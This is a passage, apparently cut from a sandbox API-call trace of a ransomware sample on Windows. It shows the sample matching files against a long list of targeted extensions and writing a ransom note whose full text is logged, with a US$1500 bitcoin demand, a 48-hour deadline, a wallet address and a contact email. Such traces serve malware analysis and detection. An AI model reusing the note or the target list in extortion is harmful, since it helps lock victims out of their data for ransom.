(pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.accdb") returned 0 [0126.186] lstrlenA (lpString="*.accdb") returned 7 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.odb") returned 0 [0126.186] lstrlenA (lpString="*.odb") returned 5 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.java") returned 0 [0126.186] lstrlenA (lpString="*.java") returned 6 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.asm") returned 0 [0126.186] lstrlenA (lpString="*.asm") returned 5 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.pfx") returned 0 [0126.186] lstrlenA (lpString="*.pfx") returned 5 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.pem") returned 0 [0126.186] lstrlenA (lpString="*.pem") returned 5 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.p12") returned 0 [0126.186] lstrlenA (lpString="*.p12") returned 5 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.gpg") returned 0 [0126.186] lstrlenA (lpString="*.gpg") returned 5 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.vsd") returned 0 [0126.186] lstrlenA (lpString="*.vsd") returned 5 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.odg") returned 0 [0126.186] lstrlenA (lpString="*.odg") returned 5 [0126.186] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.raw") returned 0 [0126.186] lstrlenA (lpString="*.raw") returned 5 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.nef") returned 0 [0126.187] lstrlenA (lpString="*.nef") returned 5 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.svg") returned 0 [0126.187] lstrlenA (lpString="*.svg") returned 5 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.psd") returned 0 [0126.187] lstrlenA (lpString="*.psd") returned 5 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.vmx") returned 0 [0126.187] lstrlenA (lpString="*.vmx") returned 5 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.vmdk") returned 0 [0126.187] lstrlenA (lpString="*.vmdk") returned 6 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.vdi") returned 0 [0126.187] lstrlenA (lpString="*.vdi") returned 5 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.lay6") returned 0 [0126.187] lstrlenA (lpString="*.lay6") returned 6 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.mpeg") returned 0 [0126.187] lstrlenA (lpString="*.mpeg") returned 6 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.djvu") returned 0 [0126.187] lstrlenA (lpString="*.djvu") returned 6 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.tiff") returned 0 [0126.187] lstrlenA (lpString="*.tiff") returned 6 [0126.187] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.backup") returned 0 [0126.187] lstrlenA (lpString="*.backup") returned 8 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.pdf") returned 0 [0126.188] lstrlenA (lpString="*.pdf") returned 5 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.cert") returned 0 [0126.188] lstrlenA (lpString="*.cert") returned 6 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.docm") returned 0 [0126.188] lstrlenA (lpString="*.docm") returned 6 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.xlsm") returned 0 [0126.188] lstrlenA (lpString="*.xlsm") returned 6 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.dwg") returned 0 [0126.188] lstrlenA (lpString="*.dwg") returned 5 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.nd") returned 0 [0126.188] lstrlenA (lpString="*.nd") returned 4 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.tlg") returned 0 [0126.188] lstrlenA (lpString="*.tlg") returned 5 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.lgb") returned 0 [0126.188] lstrlenA (lpString="*.lgb") returned 5 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.mov") returned 0 [0126.188] lstrlenA (lpString="*.mov") returned 5 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.xdw") returned 0 [0126.188] lstrlenA (lpString="*.xdw") returned 5 [0126.188] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.ods") returned 0 [0126.188] lstrlenA (lpString="*.ods") returned 5 [0126.189] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.wav") returned 0 [0126.189] lstrlenA (lpString="*.wav") returned 5 [0126.189] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.mp3") returned 0 [0126.189] lstrlenA (lpString="*.mp3") returned 5 [0126.189] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.aiff") returned 0 [0126.189] lstrlenA (lpString="*.aiff") returned 6 [0126.189] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.flac") returned 0 [0126.189] lstrlenA (lpString="*.flac") returned 6 [0126.189] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.m4a") returned 0 [0126.189] lstrlenA (lpString="*.m4a") returned 5 [0126.189] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.csv") returned 0 [0126.189] lstrlenA (lpString="*.csv") returned 5 [0126.189] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.190] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_Invocation.ps1") returned 1 [0126.190] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_Invocation.ps1") returned 1 [0126.190] lstrcmpiA (lpString1="", lpString2="CL_Invocation.ps1") returned -1 [0126.190] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1") returned="CL_AeroFeature.ps1" [0126.190] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.190] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.190] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.190] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.190] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.190] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0126.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0126.227] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.227] CloseHandle (hObject=0xffffffff) returned 0 [0126.228] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="CL_Invocation.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1" [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.ems") returned 0 [0126.228] lstrlenA (lpString="*.ems") returned 5 [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.db") returned 0 [0126.228] lstrlenA (lpString="*.db") returned 4 [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.dbf") returned 0 [0126.228] lstrlenA (lpString="*.dbf") returned 5 [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.myox") returned 0 [0126.228] lstrlenA (lpString="*.myox") returned 6 [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.myo") returned 0 [0126.228] lstrlenA (lpString="*.myo") returned 5 [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qbw") returned 0 [0126.228] lstrlenA (lpString="*.qbw") returned 5 [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qbb") returned 0 [0126.228] lstrlenA (lpString="*.qbb") returned 5 [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qbm") returned 0 [0126.228] lstrlenA (lpString="*.qbm") returned 5 [0126.228] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qbo") returned 0 [0126.228] lstrlenA (lpString="*.qbo") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qbx") returned 0 [0126.229] lstrlenA (lpString="*.qbx") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qba") returned 0 [0126.229] lstrlenA (lpString="*.qba") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qby") returned 0 [0126.229] lstrlenA (lpString="*.qby") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qbj") returned 0 [0126.229] lstrlenA (lpString="*.qbj") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.ofx") returned 0 [0126.229] lstrlenA (lpString="*.ofx") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.qif") returned 0 [0126.229] lstrlenA (lpString="*.qif") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.mye") returned 0 [0126.229] lstrlenA (lpString="*.mye") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.mbox") returned 0 [0126.229] lstrlenA (lpString="*.mbox") returned 6 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.eml") returned 0 [0126.229] lstrlenA (lpString="*.eml") returned 5 [0126.229] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.pst") returned 0 [0126.230] lstrlenA (lpString="*.pst") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.ost") returned 0 [0126.230] lstrlenA (lpString="*.ost") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.idx") returned 0 [0126.230] lstrlenA (lpString="*.idx") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.dbx") returned 0 [0126.230] lstrlenA (lpString="*.dbx") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.sql") returned 0 [0126.230] lstrlenA (lpString="*.sql") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.mdb") returned 0 [0126.230] lstrlenA (lpString="*.mdb") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.fdb") returned 0 [0126.230] lstrlenA (lpString="*.fdb") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.wab") returned 0 [0126.230] lstrlenA (lpString="*.wab") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.dat") returned 0 [0126.230] lstrlenA (lpString="*.dat") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.txt") returned 0 [0126.230] lstrlenA (lpString="*.txt") returned 5 [0126.230] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.jpeg") returned 0 [0126.231] lstrlenA (lpString="*.jpeg") returned 6 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.jpg") returned 0 [0126.231] lstrlenA (lpString="*.jpg") returned 5 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.png") returned 0 [0126.231] lstrlenA (lpString="*.png") returned 5 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.php") returned 0 [0126.231] lstrlenA (lpString="*.php") returned 5 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.cs") returned 0 [0126.231] lstrlenA (lpString="*.cs") returned 4 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.cpp") returned 0 [0126.231] lstrlenA (lpString="*.cpp") returned 5 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.rar") returned 0 [0126.231] lstrlenA (lpString="*.rar") returned 5 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.zip") returned 0 [0126.231] lstrlenA (lpString="*.zip") returned 5 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.html") returned 0 [0126.231] lstrlenA (lpString="*.html") returned 6 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.htm") returned 0 [0126.231] lstrlenA (lpString="*.htm") returned 5 [0126.231] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.xlsx") returned 0 [0126.232] lstrlenA (lpString="*.xlsx") returned 6 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.xls") returned 0 [0126.232] lstrlenA (lpString="*.xls") returned 5 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.mp4") returned 0 [0126.232] lstrlenA (lpString="*.mp4") returned 5 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.ppt") returned 0 [0126.232] lstrlenA (lpString="*.ppt") returned 5 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.pptx") returned 0 [0126.232] lstrlenA (lpString="*.pptx") returned 6 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.doc") returned 0 [0126.232] lstrlenA (lpString="*.doc") returned 5 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.dot") returned 0 [0126.232] lstrlenA (lpString="*.dot") returned 5 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.docx") returned 0 [0126.232] lstrlenA (lpString="*.docx") returned 6 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.7z") returned 0 [0126.232] lstrlenA (lpString="*.7z") returned 4 [0126.232] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.tar") returned 0 [0126.232] lstrlenA (lpString="*.tar") returned 5 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.bz2") returned 0 [0126.233] lstrlenA (lpString="*.bz2") returned 5 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.gz") returned 0 [0126.233] lstrlenA (lpString="*.gz") returned 4 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.mkv") returned 0 [0126.233] lstrlenA (lpString="*.mkv") returned 5 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.eml") returned 0 [0126.233] lstrlenA (lpString="*.eml") returned 5 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.msg") returned 0 [0126.233] lstrlenA (lpString="*.msg") returned 5 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.edb") returned 0 [0126.233] lstrlenA (lpString="*.edb") returned 5 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.accdb") returned 0 [0126.233] lstrlenA (lpString="*.accdb") returned 7 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.odb") returned 0 [0126.233] lstrlenA (lpString="*.odb") returned 5 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.java") returned 0 [0126.233] lstrlenA (lpString="*.java") returned 6 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.asm") returned 0 [0126.233] lstrlenA (lpString="*.asm") returned 5 [0126.233] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.pfx") returned 0 [0126.233] lstrlenA (lpString="*.pfx") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.pem") returned 0 [0126.234] lstrlenA (lpString="*.pem") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.p12") returned 0 [0126.234] lstrlenA (lpString="*.p12") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.gpg") returned 0 [0126.234] lstrlenA (lpString="*.gpg") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.vsd") returned 0 [0126.234] lstrlenA (lpString="*.vsd") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.odg") returned 0 [0126.234] lstrlenA (lpString="*.odg") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.raw") returned 0 [0126.234] lstrlenA (lpString="*.raw") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.nef") returned 0 [0126.234] lstrlenA (lpString="*.nef") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.svg") returned 0 [0126.234] lstrlenA (lpString="*.svg") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.psd") returned 0 [0126.234] lstrlenA (lpString="*.psd") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.vmx") returned 0 [0126.234] lstrlenA (lpString="*.vmx") returned 5 [0126.234] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.vmdk") returned 0 [0126.235] lstrlenA (lpString="*.vmdk") returned 6 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.vdi") returned 0 [0126.235] lstrlenA (lpString="*.vdi") returned 5 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.lay6") returned 0 [0126.235] lstrlenA (lpString="*.lay6") returned 6 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.mpeg") returned 0 [0126.235] lstrlenA (lpString="*.mpeg") returned 6 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.djvu") returned 0 [0126.235] lstrlenA (lpString="*.djvu") returned 6 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.tiff") returned 0 [0126.235] lstrlenA (lpString="*.tiff") returned 6 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.backup") returned 0 [0126.235] lstrlenA (lpString="*.backup") returned 8 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.pdf") returned 0 [0126.235] lstrlenA (lpString="*.pdf") returned 5 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.cert") returned 0 [0126.235] lstrlenA (lpString="*.cert") returned 6 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.docm") returned 0 [0126.235] lstrlenA (lpString="*.docm") returned 6 [0126.235] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.xlsm") returned 0 [0126.236] lstrlenA (lpString="*.xlsm") returned 6 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.dwg") returned 0 [0126.236] lstrlenA (lpString="*.dwg") returned 5 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.nd") returned 0 [0126.236] lstrlenA (lpString="*.nd") returned 4 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.tlg") returned 0 [0126.236] lstrlenA (lpString="*.tlg") returned 5 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.lgb") returned 0 [0126.236] lstrlenA (lpString="*.lgb") returned 5 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.mov") returned 0 [0126.236] lstrlenA (lpString="*.mov") returned 5 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.xdw") returned 0 [0126.236] lstrlenA (lpString="*.xdw") returned 5 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.ods") returned 0 [0126.236] lstrlenA (lpString="*.ods") returned 5 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.wav") returned 0 [0126.236] lstrlenA (lpString="*.wav") returned 5 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.mp3") returned 0 [0126.236] lstrlenA (lpString="*.mp3") returned 5 [0126.236] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.aiff") returned 0 [0126.237] lstrlenA (lpString="*.aiff") returned 6 [0126.237] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1", pszSpec="*.flac") returned 0 [0126.237] lstrlenA (lpString="*.flac") returned 6 [0126.237] PathMatchSpecA 